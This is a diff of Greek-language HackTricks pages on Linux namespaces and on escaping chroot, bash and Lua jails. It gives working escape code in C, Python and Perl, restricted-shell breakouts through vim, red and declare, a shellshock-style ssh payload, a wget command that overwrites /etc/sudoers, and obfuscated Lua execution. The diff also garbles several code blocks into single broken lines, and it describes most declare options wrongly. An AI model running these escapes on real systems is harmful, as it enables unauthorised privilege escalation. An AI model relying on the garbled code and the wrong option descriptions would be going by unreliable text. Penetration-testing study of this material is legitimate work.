Επίσης, μπορείτε να **εισέλθετε σε ένα άλλο namespace διεργασίας μόνο αν είστε root**. Και **δεν μπορείτε** να **εισέλθετε** σε άλλο namespace **χωρίς έναν περιγραφέα** που να δείχνει προς αυτό (όπως `/proc/self/ns/uts`).
|
||||||
|
|
||||||
### Αλλαγή ονόματος κεντρικού υπολογιστή
|
#### Αλλαγή ονόματος κεντρικού υπολογιστή
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
unshare -u /bin/bash
|
unshare -u /bin/bash
|
||||||
hostname newhostname # Hostname won't be changed inside the host UTS ns
|
hostname newhostname # Hostname won't be changed inside the host UTS ns
|
||||||
```
|
```
|
||||||
## Αναφορές
|
|
||||||
|
### Αναφορές
|
||||||
|
|
||||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
|
||||||
|
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Απόδραση από τα Jails
|
# Escaping from Jails
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -40,24 +40,14 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>C: break_chroot.c</summary>
|
<summary>C: break_chroot.c</summary>
|
||||||
```c
|
|
||||||
#include <sys/stat.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
|
|
||||||
//gcc break_chroot.c -o break_chroot
|
\`\`\`c #include #include #include
|
||||||
|
|
||||||
int main(void)
|
//gcc break\_chroot.c -o break\_chroot
|
||||||
{
|
|
||||||
mkdir("chroot-dir", 0755);
|
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
|
||||||
chroot("chroot-dir");
|
|
||||||
for(int i = 0; i < 1000; i++) {
|
````
|
||||||
chdir("..");
|
|
||||||
}
|
|
||||||
chroot(".");
|
|
||||||
system("/bin/bash");
|
|
||||||
}
|
|
||||||
```
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -72,7 +62,8 @@ for i in range(1000):
|
||||||
os.chdir("..")
|
os.chdir("..")
|
||||||
os.chroot(".")
|
os.chroot(".")
|
||||||
os.system("/bin/bash")
|
os.system("/bin/bash")
|
||||||
```
|
````
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
@ -92,17 +83,8 @@ system("/bin/bash -c 'command'");
|
||||||
Αντικαταστήστε τη λέξη "command" με την εντολή bash που θέλετε να εκτελέσετε. Όταν εκτελέσετε αυτό το Perl script, θα εκτελεστεί η εντολή bash και θα έχετε πρόσβαση σε προνόμια υψηλότερου επιπέδου.
|
Αντικαταστήστε τη λέξη "command" με την εντολή bash που θέλετε να εκτελέσετε. Όταν εκτελέσετε αυτό το Perl script, θα εκτελεστεί η εντολή bash και θα έχετε πρόσβαση σε προνόμια υψηλότερου επιπέδου.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```perl
|
|
||||||
#!/usr/bin/perl
|
\`\`\`perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); \`\`\`
|
||||||
mkdir "chroot-dir";
|
|
||||||
chroot "chroot-dir";
|
|
||||||
foreach my $i (0..1000) {
|
|
||||||
chdir ".."
|
|
||||||
}
|
|
||||||
chroot ".";
|
|
||||||
system("/bin/bash");
|
|
||||||
```
|
|
||||||
</details>
|
|
||||||
|
|
||||||
### Root + Αποθηκευμένο fd
|
### Root + Αποθηκευμένο fd
|
||||||
|
|
||||||
|
@ -113,31 +95,20 @@ system("/bin/bash");
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>C: break_chroot.c</summary>
|
<summary>C: break_chroot.c</summary>
|
||||||
```c
|
|
||||||
#include <sys/stat.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
|
|
||||||
//gcc break_chroot.c -o break_chroot
|
\`\`\`c #include #include #include
|
||||||
|
|
||||||
int main(void)
|
//gcc break\_chroot.c -o break\_chroot
|
||||||
{
|
|
||||||
mkdir("tmpdir", 0755);
|
int main(void) { mkdir("tmpdir", 0755); dir\_fd = open(".", O\_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir\_fd); close(dir\_fd); for(x = 0; x < 1000; x++) chdir(".."); chroot("."); }
|
||||||
dir_fd = open(".", O_RDONLY);
|
|
||||||
if(chroot("tmpdir")){
|
````
|
||||||
perror("chroot");
|
|
||||||
}
|
|
||||||
fchdir(dir_fd);
|
|
||||||
close(dir_fd);
|
|
||||||
for(x = 0; x < 1000; x++) chdir("..");
|
|
||||||
chroot(".");
|
|
||||||
}
|
|
||||||
```
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### Root + Fork + UDS (Unix Domain Sockets)
|
### Root + Fork + UDS (Unix Domain Sockets)
|
||||||
|
|
||||||
{% hint style="warning" %}
|
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||||
|
|
||||||
Το FD μπορεί να περάσει μέσω Unix Domain Sockets, οπότε:
|
Το FD μπορεί να περάσει μέσω Unix Domain Sockets, οπότε:
|
||||||
|
|
||||||
* Δημιουργήστε ένα διεργασία παιδί (fork)
|
* Δημιουργήστε ένα διεργασία παιδί (fork)
|
||||||
|
@ -146,39 +117,48 @@ chroot(".");
|
||||||
* Στη διεργασία γονέα, δημιουργήστε ένα FD ενός φακέλου που βρίσκεται έξω από το chroot της νέας διεργασίας παιδιού
|
* Στη διεργασία γονέα, δημιουργήστε ένα FD ενός φακέλου που βρίσκεται έξω από το chroot της νέας διεργασίας παιδιού
|
||||||
* Περάστε στη διεργασία παιδί αυτό το FD χρησιμοποιώντας το UDS
|
* Περάστε στη διεργασία παιδί αυτό το FD χρησιμοποιώντας το UDS
|
||||||
* Η διεργασία παιδί αλλάζει τον τρέχοντα φάκελο σε αυτόν τον FD και επειδή βρίσκεται έξω από το chroot της, θα δραπετεύσει από τη φυλακή
|
* Η διεργασία παιδί αλλάζει τον τρέχοντα φάκελο σε αυτόν τον FD και επειδή βρίσκεται έξω από το chroot της, θα δραπετεύσει από τη φυλακή
|
||||||
{% endhint %}
|
|
||||||
|
</div>
|
||||||
|
|
||||||
###  Root + Mount
|
###  Root + Mount
|
||||||
|
|
||||||
{% hint style="warning" %}
|
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||||
|
|
||||||
* Τοποθετήστε τη ρίζα της συσκευής (/) σε έναν κατάλογο μέσα στο chroot
|
* Τοποθετήστε τη ρίζα της συσκευής (/) σε έναν κατάλογο μέσα στο chroot
|
||||||
* Εκτελέστε το chroot σε αυτόν τον κατάλογο
|
* Εκτελέστε το chroot σε αυτόν τον κατάλογο
|
||||||
|
|
||||||
Αυτό είναι δυνατό στο Linux
|
Αυτό είναι δυνατό στο Linux
|
||||||
{% endhint %}
|
|
||||||
|
</div>
|
||||||
|
|
||||||
### Root + /proc
|
### Root + /proc
|
||||||
|
|
||||||
{% hint style="warning" %}
|
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||||
|
|
||||||
* Τοποθετήστε το procfs σε έναν κατάλογο μέσα στο chroot (αν δεν υπάρχει ήδη)
|
* Τοποθετήστε το procfs σε έναν κατάλογο μέσα στο chroot (αν δεν υπάρχει ήδη)
|
||||||
* Αναζητήστε ένα pid που έχει μια διαφορετική καταχώρηση root/cwd, όπως: /proc/1/root
|
* Αναζητήστε ένα pid που έχει μια διαφορετική καταχώρηση root/cwd, όπως: /proc/1/root
|
||||||
* Εκτελέστε το chroot σε αυτήν την καταχώρηση
|
* Εκτελέστε το chroot σε αυτήν την καταχώρηση
|
||||||
{% endhint %}
|
|
||||||
|
</div>
|
||||||
|
|
||||||
### Root(?) + Fork
|
### Root(?) + Fork
|
||||||
|
|
||||||
{% hint style="warning" %}
|
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||||
|
|
||||||
* Δημιουργήστε ένα Fork (διεργασία παιδί) και εκτελέστε το chroot σε έναν διαφορετικό φάκελο πιο βαθιά στο σύστημα αρχείων και αλλάξτε τον τρέχοντα φάκελο σε αυτόν
|
* Δημιουργήστε ένα Fork (διεργασία παιδί) και εκτελέστε το chroot σε έναν διαφορετικό φάκελο πιο βαθιά στο σύστημα αρχείων και αλλάξτε τον τρέχοντα φάκελο σε αυτόν
|
||||||
* Από τη διεργασία γονέα, μετακινήστε τον φάκελο όπου βρίσκεται η διεργασία παιδί σε έναν φάκελο προηγούμενο του chroot των παιδιών
|
* Από τη διεργασία γονέα, μετακινήστε τον φάκελο όπου βρίσκεται η διεργασία παιδί σε έναν φάκελο προηγούμενο του chroot των παιδιών
|
||||||
* Αυτή η διεργασία παιδί θα βρεθεί έξω από το chroot
|
* Αυτή η διεργασία παιδί θα βρεθεί έξω από το chroot
|
||||||
{% endhint %}
|
|
||||||
|
</div>
|
||||||
|
|
||||||
### ptrace
|
### ptrace
|
||||||
|
|
||||||
{% hint style="warning" %}
|
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||||
|
|
||||||
* Παλαιότερα, οι χρήστες μπορούσαν να εντοπίζουν σφάλματα στις δικές τους διεργασίες από μια διεργασία του ίδιου τους... αλλά αυτό δεν είναι πλέον δυνατό από προεπιλογή
|
* Παλαιότερα, οι χρήστες μπορούσαν να εντοπίζουν σφάλματα στις δικές τους διεργασίες από μια διεργασία του ίδιου τους... αλλά αυτό δεν είναι πλέον δυνατό από προεπιλογή
|
||||||
* Παρόλα αυτά, αν είναι δυνατό, μπορείτε να εντοπίσετε σφάλματα σε μια διεργασία και να εκτελέσετε ένα shellcode μέσα σε αυτήν ([δείτε αυτό το παράδειγμα](linux-capabilities.md#cap\_sys\_ptrace)).
|
* Παρόλα αυτά, αν είναι δυνατό, μπορείτε να εντοπίσετε σφάλματα σε μια διεργασία και να εκτελέσετε ένα shellcode μέσα σε αυτήν ([δείτε αυτό το παράδειγμα](linux-capabilities.md#cap\_sys\_ptrace)).
|
||||||
{% endhint %}
|
|
||||||
|
</div>
|
||||||
|
|
||||||
## Φυλακές Bash
|
## Φυλακές Bash
|
||||||
|
|
||||||
|
@ -191,46 +171,53 @@ echo $PATH
|
||||||
env
|
env
|
||||||
export
|
export
|
||||||
pwd
|
pwd
|
||||||
```
|
````
|
||||||
### Τροποποίηση του PATH
|
|
||||||
|
#### Τροποποίηση του PATH
|
||||||
|
|
||||||
Ελέγξτε αν μπορείτε να τροποποιήσετε τη μεταβλητή περιβάλλοντος PATH.
|
Ελέγξτε αν μπορείτε να τροποποιήσετε τη μεταβλητή περιβάλλοντος PATH.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
echo $PATH #See the path of the executables that you can use
|
echo $PATH #See the path of the executables that you can use
|
||||||
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
|
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
|
||||||
echo /home/* #List directory
|
echo /home/* #List directory
|
||||||
```
|
```
|
||||||
### Χρήση του vim
|
|
||||||
|
#### Χρήση του vim
|
||||||
|
|
||||||
Ο επεξεργαστής κειμένου vim είναι ένας ισχυρός επεξεργαστής κειμένου που μπορεί να χρησιμοποιηθεί για να εκτελέσετε ορισμένες ενέργειες προνομιούχου ανόδου. Ακολουθούν μερικές τεχνικές που μπορείτε να χρησιμοποιήσετε με το vim:
|
Ο επεξεργαστής κειμένου vim είναι ένας ισχυρός επεξεργαστής κειμένου που μπορεί να χρησιμοποιηθεί για να εκτελέσετε ορισμένες ενέργειες προνομιούχου ανόδου. Ακολουθούν μερικές τεχνικές που μπορείτε να χρησιμοποιήσετε με το vim:
|
||||||
|
|
||||||
1. Εκτέλεση εντολών shell: Μπορείτε να εκτελέσετε εντολές shell από το vim χρησιμοποιώντας την εντολή `:!`. Για παράδειγμα, μπορείτε να εκτελέσετε την εντολή `:!id` για να εμφανίσετε την ταυτότητα του χρήστη που εκτελεί το vim.
|
1. Εκτέλεση εντολών shell: Μπορείτε να εκτελέσετε εντολές shell από το vim χρησιμοποιώντας την εντολή `:!`. Για παράδειγμα, μπορείτε να εκτελέσετε την εντολή `:!id` για να εμφανίσετε την ταυτότητα του χρήστη που εκτελεί το vim.
|
||||||
|
|
||||||
2. Εκτέλεση εντολών με δικαιώματα ρίζας: Αν έχετε πρόσβαση στον λογαριασμό ρίζας, μπορείτε να εκτελέσετε εντολές με δικαιώματα ρίζας από το vim. Χρησιμοποιήστε την εντολή `:!!` για να εκτελέσετε την τελευταία εντολή με δικαιώματα ρίζας.
|
2. Εκτέλεση εντολών με δικαιώματα ρίζας: Αν έχετε πρόσβαση στον λογαριασμό ρίζας, μπορείτε να εκτελέσετε εντολές με δικαιώματα ρίζας από το vim. Χρησιμοποιήστε την εντολή `:!!` για να εκτελέσετε την τελευταία εντολή με δικαιώματα ρίζας.
|
||||||
|
|
||||||
3. Εκτέλεση εντολών με τοπικά δικαιώματα χρήστη: Μπορείτε επίσης να εκτελέσετε εντολές με τα δικαιώματα του τρέχοντος χρήστη. Χρησιμοποιήστε την εντολή `:sh` για να ανοίξετε ένα νέο παράθυρο shell με τα δικαιώματα του τρέχοντος χρήστη.
|
3. Εκτέλεση εντολών με τοπικά δικαιώματα χρήστη: Μπορείτε επίσης να εκτελέσετε εντολές με τα δικαιώματα του τρέχοντος χρήστη. Χρησιμοποιήστε την εντολή `:sh` για να ανοίξετε ένα νέο παράθυρο shell με τα δικαιώματα του τρέχοντος χρήστη.
|
||||||
|
|
||||||
Αυτές είναι μερικές από τις βασικές τεχνικές που μπορείτε να χρησιμοποιήσετε με το vim για να εκτελέσετε ενέργειες προνομιούχου ανόδου. Θυμηθείτε πάντα να χρησιμοποιείτε αυτές τις τεχνικές με προσοχή και μόνο όταν έχετε την απαραίτητη άδεια.
|
Αυτές είναι μερικές από τις βασικές τεχνικές που μπορείτε να χρησιμοποιήσετε με το vim για να εκτελέσετε ενέργειες προνομιούχου ανόδου. Θυμηθείτε πάντα να χρησιμοποιείτε αυτές τις τεχνικές με προσοχή και μόνο όταν έχετε την απαραίτητη άδεια.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
:set shell=/bin/sh
|
:set shell=/bin/sh
|
||||||
:shell
|
:shell
|
||||||
```
|
```
|
||||||
### Δημιουργία σεναρίου
|
|
||||||
|
#### Δημιουργία σεναρίου
|
||||||
|
|
||||||
Ελέγξτε αν μπορείτε να δημιουργήσετε ένα εκτελέσιμο αρχείο με περιεχόμενο _/bin/bash_.
|
Ελέγξτε αν μπορείτε να δημιουργήσετε ένα εκτελέσιμο αρχείο με περιεχόμενο _/bin/bash_.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
red /bin/bash
|
red /bin/bash
|
||||||
> w wx/path #Write /bin/bash in a writable and executable path
|
> w wx/path #Write /bin/bash in a writable and executable path
|
||||||
```
|
```
|
||||||
### Πάρτε το bash από το SSH
|
|
||||||
|
#### Πάρτε το bash από το SSH
|
||||||
|
|
||||||
Εάν έχετε πρόσβαση μέσω ssh, μπορείτε να χρησιμοποιήσετε αυτό το κόλπο για να εκτελέσετε ένα κέλυφος bash:
|
Εάν έχετε πρόσβαση μέσω ssh, μπορείτε να χρησιμοποιήσετε αυτό το κόλπο για να εκτελέσετε ένα κέλυφος bash:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ssh -t user@<IP> bash # Get directly an interactive shell
|
ssh -t user@<IP> bash # Get directly an interactive shell
|
||||||
ssh user@<IP> -t "bash --noprofile -i"
|
ssh user@<IP> -t "bash --noprofile -i"
|
||||||
ssh user@<IP> -t "() { :; }; sh -i "
|
ssh user@<IP> -t "() { :; }; sh -i "
|
||||||
```
|
```
|
||||||
### Δήλωση
|
|
||||||
|
#### Δήλωση
|
||||||
|
|
||||||
Η δήλωση `declare` χρησιμοποιείται για να ορίσει μεταβλητές και να τους αναθέσει τιμές. Μπορεί επίσης να χρησιμοποιηθεί για να ορίσει τις ιδιότητες μιας μεταβλητής, όπως τον τύπο δεδομένων και την εμβέλειά της.
|
Η δήλωση `declare` χρησιμοποιείται για να ορίσει μεταβλητές και να τους αναθέσει τιμές. Μπορεί επίσης να χρησιμοποιηθεί για να ορίσει τις ιδιότητες μιας μεταβλητής, όπως τον τύπο δεδομένων και την εμβέλειά της.
|
||||||
|
|
||||||
|
@ -242,18 +229,18 @@ declare [-aAfFgilnrtux] [-p] [name[=value]]
|
||||||
|
|
||||||
Οι επιλογές που μπορούν να χρησιμοποιηθούν με τη δήλωση `declare` περιλαμβάνουν:
|
Οι επιλογές που μπορούν να χρησιμοποιηθούν με τη δήλωση `declare` περιλαμβάνουν:
|
||||||
|
|
||||||
- `-a`: Δηλώνει μια μεταβλητή ως πίνακα.
|
* `-a`: Δηλώνει μια μεταβλητή ως πίνακα.
|
||||||
- `-A`: Δηλώνει μια μεταβλητή ως συσχετισμένο πίνακα.
|
* `-A`: Δηλώνει μια μεταβλητή ως συσχετισμένο πίνακα.
|
||||||
- `-f`: Δηλώνει μια μεταβλητή ως συνάρτηση.
|
* `-f`: Δηλώνει μια μεταβλητή ως συνάρτηση.
|
||||||
- `-F`: Δηλώνει μια μεταβλητή ως συνάρτηση που είναι προσβάσιμη μόνο για ανάγνωση.
|
* `-F`: Δηλώνει μια μεταβλητή ως συνάρτηση που είναι προσβάσιμη μόνο για ανάγνωση.
|
||||||
- `-g`: Δηλώνει μια μεταβλητή ως παγκόσμια.
|
* `-g`: Δηλώνει μια μεταβλητή ως παγκόσμια.
|
||||||
- `-i`: Δηλώνει μια μεταβλητή ως αναφορά σε μια μεταβλητή περιβάλλοντος.
|
* `-i`: Δηλώνει μια μεταβλητή ως αναφορά σε μια μεταβλητή περιβάλλοντος.
|
||||||
- `-l`: Δηλώνει μια μεταβλητή ως τοπική.
|
* `-l`: Δηλώνει μια μεταβλητή ως τοπική.
|
||||||
- `-n`: Δηλώνει μια μεταβλητή ως αριθμητική.
|
* `-n`: Δηλώνει μια μεταβλητή ως αριθμητική.
|
||||||
- `-r`: Δηλώνει μια μεταβλητή ως μόνο για ανάγνωση.
|
* `-r`: Δηλώνει μια μεταβλητή ως μόνο για ανάγνωση.
|
||||||
- `-t`: Δηλώνει μια μεταβλητή ως πίνακα με αριθμητικές τιμές.
|
* `-t`: Δηλώνει μια μεταβλητή ως πίνακα με αριθμητικές τιμές.
|
||||||
- `-u`: Δηλώνει μια μεταβλητή ως ανεπανάληπτη.
|
* `-u`: Δηλώνει μια μεταβλητή ως ανεπανάληπτη.
|
||||||
- `-x`: Δηλώνει μια μεταβλητή ως εξαγωγή για το περιβάλλον.
|
* `-x`: Δηλώνει μια μεταβλητή ως εξαγωγή για το περιβάλλον.
|
||||||
|
|
||||||
Μπορείτε επίσης να χρησιμοποιήσετε την επιλογή `-p` για να εμφανίσετε τις ιδιότητες μιας μεταβλητής.
|
Μπορείτε επίσης να χρησιμοποιήσετε την επιλογή `-p` για να εμφανίσετε τις ιδιότητες μιας μεταβλητής.
|
||||||
|
|
||||||
|
@ -268,54 +255,57 @@ declare -p my_array
|
||||||
```
|
```
|
||||||
|
|
||||||
Η παραπάνω δήλωση θα δημιουργήσει έναν πίνακα με το όνομα `my_array`, μια αριθμητική μεταβλητή με το όνομα `my_number` και τιμή 10, μια μεταβλητή μόνο για ανάγνωση με το όνομα `readonly_var` και μια εξαγόμενη μεταβλητή με το όνομα `exported_var`. Η επιλογή `-p` θα εμφανίσει τις ιδιότητες του πίνακα `my_array`.
|
Η παραπάνω δήλωση θα δημιουργήσει έναν πίνακα με το όνομα `my_array`, μια αριθμητική μεταβλητή με το όνομα `my_number` και τιμή 10, μια μεταβλητή μόνο για ανάγνωση με το όνομα `readonly_var` και μια εξαγόμενη μεταβλητή με το όνομα `exported_var`. Η επιλογή `-p` θα εμφανίσει τις ιδιότητες του πίνακα `my_array`.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
declare -n PATH; export PATH=/bin;bash -i
|
declare -n PATH; export PATH=/bin;bash -i
|
||||||
|
|
||||||
BASH_CMDS[shell]=/bin/bash;shell -i
|
BASH_CMDS[shell]=/bin/bash;shell -i
|
||||||
```
|
```
|
||||||
### Wget
|
|
||||||
|
#### Wget
|
||||||
|
|
||||||
Μπορείτε να αντικαταστήσετε, για παράδειγμα, το αρχείο sudoers.
|
Μπορείτε να αντικαταστήσετε, για παράδειγμα, το αρχείο sudoers.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
|
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
|
||||||
```
|
```
|
||||||
### Άλλα κόλπα
|
|
||||||
|
#### Άλλα κόλπα
|
||||||
|
|
||||||
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
|
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
|
||||||
[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells\*\*]\(https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
|
[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells\*\*]\(https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
|
||||||
[https://gtfobins.github.io](https://gtfobins.github.io/\*\*]\(https/gtfobins.github.io)\
|
[https://gtfobins.github.io](https://gtfobins.github.io/\*\*]\(https/gtfobins.github.io)\
|
||||||
**Ενδιαφέρουσα μπορεί να είναι επίσης η σελίδα:**
|
**Ενδιαφέρουσα μπορεί να είναι επίσης η σελίδα:**
|
||||||
|
|
||||||
{% content-ref url="../useful-linux-commands/bypass-bash-restrictions.md" %}
|
### Python Jails
|
||||||
[bypass-bash-restrictions.md](../useful-linux-commands/bypass-bash-restrictions.md)
|
|
||||||
{% endcontent-ref %}
|
|
||||||
|
|
||||||
## Python Jails
|
|
||||||
|
|
||||||
Κόλπα για τη διαφυγή από τα python jails στην ακόλουθη σελίδα:
|
Κόλπα για τη διαφυγή από τα python jails στην ακόλουθη σελίδα:
|
||||||
|
|
||||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
### Lua Jails
|
||||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
|
||||||
{% endcontent-ref %}
|
|
||||||
|
|
||||||
## Lua Jails
|
|
||||||
|
|
||||||
Σε αυτήν τη σελίδα μπορείτε να βρείτε τις παγκόσμιες συναρτήσεις στις οποίες έχετε πρόσβαση μέσα στο lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
|
Σε αυτήν τη σελίδα μπορείτε να βρείτε τις παγκόσμιες συναρτήσεις στις οποίες έχετε πρόσβαση μέσα στο lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
|
||||||
|
|
||||||
**Αξιολόγηση με εκτέλεση εντολής:**
|
**Αξιολόγηση με εκτέλεση εντολής:**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
|
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
|
||||||
```
|
```
|
||||||
|
|
||||||
Μερικά κόλπα για να **καλέσετε συναρτήσεις ενός βιβλιοθηκών χωρίς να χρησιμοποιήσετε τελείες**:
|
Μερικά κόλπα για να **καλέσετε συναρτήσεις ενός βιβλιοθηκών χωρίς να χρησιμοποιήσετε τελείες**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
print(string.char(0x41, 0x42))
|
print(string.char(0x41, 0x42))
|
||||||
print(rawget(string, "char")(0x41, 0x42))
|
print(rawget(string, "char")(0x41, 0x42))
|
||||||
```
|
```
|
||||||
|
|
||||||
Απαριθμήστε τις λειτουργίες ενός βιβλιοθηκών:
|
Απαριθμήστε τις λειτουργίες ενός βιβλιοθηκών:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
for k,v in pairs(string) do print(k,v) end
|
for k,v in pairs(string) do print(k,v) end
|
||||||
```
|
```
|
||||||
|
|
||||||
Σημείωση ότι κάθε φορά που εκτελείτε την προηγούμενη μια γραμμή σε ένα **διαφορετικό περιβάλλον lua η σειρά των συναρτήσεων αλλάζει**. Επομένως, αν χρειάζεστε να εκτελέσετε μια συγκεκριμένη συνάρτηση, μπορείτε να πραγματοποιήσετε μια επίθεση με βία φορτώνοντας διάφορα περιβάλλοντα lua και καλώντας την πρώτη συνάρτηση της βιβλιοθήκης le:
|
Σημείωση ότι κάθε φορά που εκτελείτε την προηγούμενη μια γραμμή σε ένα **διαφορετικό περιβάλλον lua η σειρά των συναρτήσεων αλλάζει**. Επομένως, αν χρειάζεστε να εκτελέσετε μια συγκεκριμένη συνάρτηση, μπορείτε να πραγματοποιήσετε μια επίθεση με βία φορτώνοντας διάφορα περιβάλλοντα lua και καλώντας την πρώτη συνάρτηση της βιβλιοθήκης le:
|
||||||
|
|
||||||
